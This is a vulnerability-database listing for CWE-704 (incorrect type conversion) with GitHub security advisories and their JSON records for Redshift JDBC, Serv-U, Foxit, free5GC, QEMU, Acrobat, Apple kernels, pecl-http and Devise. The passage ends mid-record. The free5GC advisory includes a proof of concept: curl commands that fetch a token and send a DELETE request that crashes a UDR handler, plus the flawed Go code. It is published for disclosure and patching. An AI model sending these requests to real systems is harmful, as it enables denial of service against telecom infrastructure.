Common Weakness Enumeration

CWE-704

Allowed-with-Review

Incorrect Type Conversion or Cast

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not correctly convert an object, resource, or structure from one type to a different type.

334 vulnerabilities reference this CWE, most recent first.

GHSA-JC69-HJW2-FM86

Vulnerability from github – Published: 2022-10-12 18:23 – Updated: 2022-10-12 18:23
VLAI
Summary
com.amazon.redshift:redshift-jdbc42 vulnerable to remote command execution
Details

Impact

A potential remote command execution issue exists within redshift-jdbc42 versions 2.1.0.7 and below. When plugins are used with the driver, it instantiates plugin instances based on Java class names provided via the sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties. In affected versions, the driver does not verify if a plugin class implements the expected interface before instantiatiaton. This can lead to loading of arbitrary Java classes, which a knowledgeable attacker with control over the JDBC URL can use to achieve remote code execution.

Patches

This issue is patched within redshift-jdbc-42 2.1.0.8 and above.

Workarounds

We advise customers using plugins to upgrade to redshift-jdbc42 version 2.1.0.8 or above. There are no known workarounds for this issue.

For more information

If you have any questions or comments about this advisory, please contact AWS Security at aws-security@amazon.com.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.amazon.redshift:redshift-jdbc42"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-12T18:23:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA potential remote command execution issue exists within `redshift-jdbc42` versions 2.1.0.7 and below. When plugins are used with the driver, it instantiates plugin instances based on Java class names provided via the `sslhostnameverifier`, `socketFactory`, `sslfactory`, and `sslpasswordcallback` connection properties. In affected versions, the driver does not verify if a plugin class implements the expected interface before instantiatiaton. This can lead to loading of arbitrary Java classes, which a knowledgeable attacker with control over the JDBC URL can use to achieve remote code execution.\n\n### Patches\n\nThis issue is patched within `redshift-jdbc-42` 2.1.0.8 and above.\n\n### Workarounds\n\nWe advise customers using plugins to upgrade to `redshift-jdbc42` version 2.1.0.8 or above. There are no known workarounds for this issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please contact AWS Security at [aws-security@amazon.com](mailto:aws-security@amazon.com).\n",
  "id": "GHSA-jc69-hjw2-fm86",
  "modified": "2022-10-12T18:23:36Z",
  "published": "2022-10-12T18:23:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/amazon-redshift-jdbc-driver/security/advisories/GHSA-jc69-hjw2-fm86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41828"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/amazon-redshift-jdbc-driver/commit/40b143b4698faf90c788ffa89f2d4d8d2ad068b5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/amazon-redshift-jdbc-driver/commit/9999659bbc9f3d006fb02a0bf39d5bcf3b503605"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/amazon-redshift-jdbc-driver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "com.amazon.redshift:redshift-jdbc42 vulnerable to remote command execution"
}

GHSA-JJX5-VCWR-CWFQ

Vulnerability from github – Published: 2026-02-24 09:31 – Updated: 2026-02-24 09:31
VLAI
Details

A type confusion vulnerability exists in Serv-U which when exploited, gives a malicious actor the ability to execute arbitrary native code as privileged account.

This issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-40539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-24T08:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "A type confusion vulnerability exists in Serv-U which when exploited, gives a malicious actor the ability to execute arbitrary native code as privileged account.\n\nThis issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default.",
  "id": "GHSA-jjx5-vcwr-cwfq",
  "modified": "2026-02-24T09:31:21Z",
  "published": "2026-02-24T09:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40539"
    },
    {
      "type": "WEB",
      "url": "https://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-4_release_notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40539"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JPXJ-CJ57-R39R

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 9.0.1.1049. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the getField method. By performing actions in JavaScript, an attacker can trigger a type confusion condition. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-6015.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-14252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-31T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 9.0.1.1049. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the getField method. By performing actions in JavaScript, an attacker can trigger a type confusion condition. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-6015.",
  "id": "GHSA-jpxj-cj57-r39r",
  "modified": "2022-05-13T01:34:40Z",
  "published": "2022-05-13T01:34:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14252"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    },
    {
      "type": "WEB",
      "url": "https://zerodayinitiative.com/advisories/ZDI-18-712"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQFC-GWJ5-3W63

Vulnerability from github – Published: 2026-05-08 22:52 – Updated: 2026-06-08 23:48
VLAI
Summary
free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)
Details

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface):

subsId := c.Params.ByName("subsId")
s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)

In the processor:

value, ok := udrSelf.UESubsCollection.Load(ueId)
if !ok {
    pd = util.ProblemDetailsNotFound("USER_NOT_FOUND")
}

UESubsData := value.(*udr_context.UESubsData)   // panics: nil interface

When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(*udr_context.UESubsData) panics with:

panic: interface conversion: interface {} is nil, not *context.UESubsData

Code evidence (paths in free5gc/udr): - Route exposure + handler dispatch: - NFs/udr/internal/sbi/api_datarepository.go:2161 - NFs/udr/internal/sbi/api_datarepository.go:2170 - NFs/udr/internal/sbi/api_datarepository.go:2172 - Panic root cause (nil interface type assertion): - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.

  1. Restart UDR (clean state -- proves no precondition is needed):
docker restart udr
  1. Obtain a valid nudr-dr token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
  1. Trigger the panic with one DELETE for a nonexistent ueId=x:
curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'

HTTP/1.1 500 Internal Server Error
Content-Length: 0
  1. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at event_amf_subscription_info_document.go:61 inside RemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:61
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact

Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USER_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:52:20Z",
    "nvd_published_at": "2026-05-27T17:16:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nfree5GC\u0027s UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.\n\nThis is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.\n\nThis endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.\n\n### Details\nValidated against the UDR container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/udr:v4.2.1`\n- Runtime UDR commit: `754d23b0`\n- Docker validation date: 2026-03-22\n- UDR endpoint: `http://10.100.200.11:8000`\n\nVulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface):\n```go\nsubsId := c.Params.ByName(\"subsId\")\ns.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)\n```\nIn the processor:\n```go\nvalue, ok := udrSelf.UESubsCollection.Load(ueId)\nif !ok {\n    pd = util.ProblemDetailsNotFound(\"USER_NOT_FOUND\")\n}\n\nUESubsData := value.(*udr_context.UESubsData)   // panics: nil interface\n```\nWhen `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with:\n```\npanic: interface conversion: interface {} is nil, not *context.UESubsData\n```\n\nCode evidence (paths in `free5gc/udr`):\n- Route exposure + handler dispatch:\n  - `NFs/udr/internal/sbi/api_datarepository.go:2161`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2170`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2172`\n- Panic root cause (nil interface type assertion):\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61`\n\n### PoC\nReproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions.\n\n1. Restart UDR (clean state -- proves no precondition is needed):\n```\ndocker restart udr\n```\n\n2. Obtain a valid `nudr-dr` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57\u0026targetNfType=UDR\u0026scope=nudr-dr\u0027\n```\n\n3. Trigger the panic with one DELETE for a nonexistent `ueId=x`:\n```\ncurl -i -sS -X DELETE \\\n  \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\n4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`:\n```\n[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData\ngithub.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure\n    .../event_amf_subscription_info_document.go:61\ngithub.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo\n    .../api_datarepository.go:2172\n[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |\n```\n\n### Impact\nIncorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`.\n\nThis is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:\n- Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919).\n- Repeat the trigger to sustain a per-request panic-DoS on UDR\u0027s data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have.\n\nNo Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/920\nUpstream fix: https://github.com/free5gc/udr/pull/60",
  "id": "GHSA-jqfc-gwj5-3w63",
  "modified": "2026-06-08T23:48:08Z",
  "published": "2026-05-08T22:52:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jqfc-gwj5-3w63"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udr/pull/60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)"
}

GHSA-JR2H-265V-VQ75

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2025-04-12 13:07
VLAI
Details

The pvscsi_convert_sglist function in hw/scsi/vmw_pvscsi.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by leveraging an incorrect cast.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-7156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-12-10T00:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The pvscsi_convert_sglist function in hw/scsi/vmw_pvscsi.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by leveraging an incorrect cast.",
  "id": "GHSA-jr2h-265v-vq75",
  "modified": "2025-04-12T13:07:01Z",
  "published": "2022-05-13T01:14:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7156"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00038.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/qemu-devel/2016-09/msg00772.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/qemu-devel/2016-09/msg01246.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201609-01"
    },
    {
      "type": "WEB",
      "url": "http://git.qemu.org/?p=qemu.git%3Ba=commit%3Bh=49adc5d3f8c6bb75e55ebfeab109c5c37dea65e8"
    },
    {
      "type": "WEB",
      "url": "http://git.qemu.org/?p=qemu.git;a=commit;h=49adc5d3f8c6bb75e55ebfeab109c5c37dea65e8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/09/06/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/09/07/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/92774"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRWC-Q9CM-G2G6

Vulnerability from github – Published: 2022-05-14 01:20 – Updated: 2022-05-14 01:20
VLAI
Details

Adobe Acrobat Reader 2017.009.20058 and earlier, 2017.008.30051 and earlier, 2015.006.30306 and earlier, and 11.0.20 and earlier has an exploitable type confusion vulnerability in the annotation functionality. Successful exploitation could lead to arbitrary code execution.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-11221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-11T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Acrobat Reader 2017.009.20058 and earlier, 2017.008.30051 and earlier, 2015.006.30306 and earlier, and 11.0.20 and earlier has an exploitable type confusion vulnerability in the annotation functionality. Successful exploitation could lead to arbitrary code execution.",
  "id": "GHSA-jrwc-q9cm-g2g6",
  "modified": "2022-05-14T01:20:51Z",
  "published": "2022-05-14T01:20:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11221"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb17-24.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100181"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039098"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JV32-H4VH-QFXX

Vulnerability from github – Published: 2022-01-04 00:00 – Updated: 2025-05-22 21:30
VLAI
Details

The HwNearbyMain module has a Exposure of Sensitive Information to an Unauthorized Actor vulnerability.Successful exploitation of this vulnerability may cause a process to restart.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-39989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-03T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The HwNearbyMain module has a Exposure of Sensitive Information to an Unauthorized Actor vulnerability.Successful exploitation of this vulnerability may cause a process to restart.",
  "id": "GHSA-jv32-h4vh-qfxx",
  "modified": "2025-05-22T21:30:33Z",
  "published": "2022-01-04T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39989"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202111-0000001217889667"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JWVC-GC5C-G22H

Vulnerability from github – Published: 2022-05-14 01:24 – Updated: 2025-04-20 03:50
VLAI
Details

An issue was discovered in certain Apple products. iOS before 11.2 is affected. macOS before 10.13.2 is affected. tvOS before 11.2 is affected. watchOS before 4.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app that triggers type confusion.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-13855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-25T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in certain Apple products. iOS before 11.2 is affected. macOS before 10.13.2 is affected. tvOS before 11.2 is affected. watchOS before 4.2 is affected. The issue involves the \"Kernel\" component. It allows attackers to bypass intended memory-read restrictions via a crafted app that triggers type confusion.",
  "id": "GHSA-jwvc-gc5c-g22h",
  "modified": "2025-04-20T03:50:28Z",
  "published": "2022-05-14T01:24:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13855"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208325"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208327"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208331"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208334"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/43318"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102100"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039952"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039953"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039966"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JX2X-3HJR-6VP8

Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:53
VLAI
Details

A type confusion vulnerability in the merge_param() function of php_http_params.c in PHP's pecl-http extension 3.1.0beta2 (PHP 7) and earlier as well as 2.6.0beta2 (PHP 5) and earlier allows attackers to crash PHP and possibly execute arbitrary code via crafted HTTP requests.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-7398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-06T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A type confusion vulnerability in the merge_param() function of php_http_params.c in PHP\u0027s pecl-http extension 3.1.0beta2 (PHP 7) and earlier as well as 2.6.0beta2 (PHP 5) and earlier allows attackers to crash PHP and possibly execute arbitrary code via crafted HTTP requests.",
  "id": "GHSA-jx2x-3hjr-6vp8",
  "modified": "2024-04-04T01:53:21Z",
  "published": "2022-05-24T16:55:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/m6w6/ext-http/commit/17137d4ab1ce81a2cee0fae842340a344ef3da83"
    },
    {
      "type": "WEB",
      "url": "https://bugs.php.net/bug.php?id=73055"
    },
    {
      "type": "WEB",
      "url": "https://bugs.php.net/bug.php?id=73055\u0026edit=1"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/09/msg00022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JXHW-MG8M-2PJ8

Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2023-01-23 21:20
VLAI
Summary
Devise does not properly perform type conversion when performing database queries
Details

Devise gem 2.2.x before 2.2.3, 2.1.x before 2.1.3, 2.0.x before 2.0.5, and 1.5.x before 1.5.4 for Ruby, when using certain databases, does not properly perform type conversion when performing database queries, which might allow remote attackers to cause incorrect results to be returned and bypass security checks via unknown vectors, as demonstrated by resetting passwords of arbitrary accounts.

Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "devise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "devise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "devise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
